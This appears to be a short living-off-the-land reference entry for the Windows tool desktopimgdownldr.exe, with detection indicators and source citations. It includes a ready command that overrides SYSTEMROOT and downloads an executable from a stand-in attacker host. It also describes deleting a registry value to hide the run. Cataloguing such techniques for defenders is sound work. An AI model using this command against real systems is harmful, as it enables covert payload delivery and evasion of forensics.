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desktopimgdownldr.exe

1 technique WindowsDÆMON GPL-3.0

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The Personalization CSP lock-screen tool downloads the URL given in /lockscreenurl to disk as a standard user. Overriding the SYSTEMROOT environment variable redirects the output to an attacker-chosen folder, and the PersonalizationCSP registry value seeded by the run can be deleted afterward to erase the trace.

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set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://attacker.example/x.exe /eventName:desktopimgdownldr
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user
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T1105
Detection
Detection: desktopimgdownldr.exe with /lockscreenurl to a non-Microsoft host or fetching a non-image; SYSTEMROOT environment override before the run; writes/deletes at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl.
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✓ LOLBAS Desktopimgdownldr.yml quotes `set "SYSTEMROOT=..." && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL}` (T1105); SentinelOne write-up is the original research source.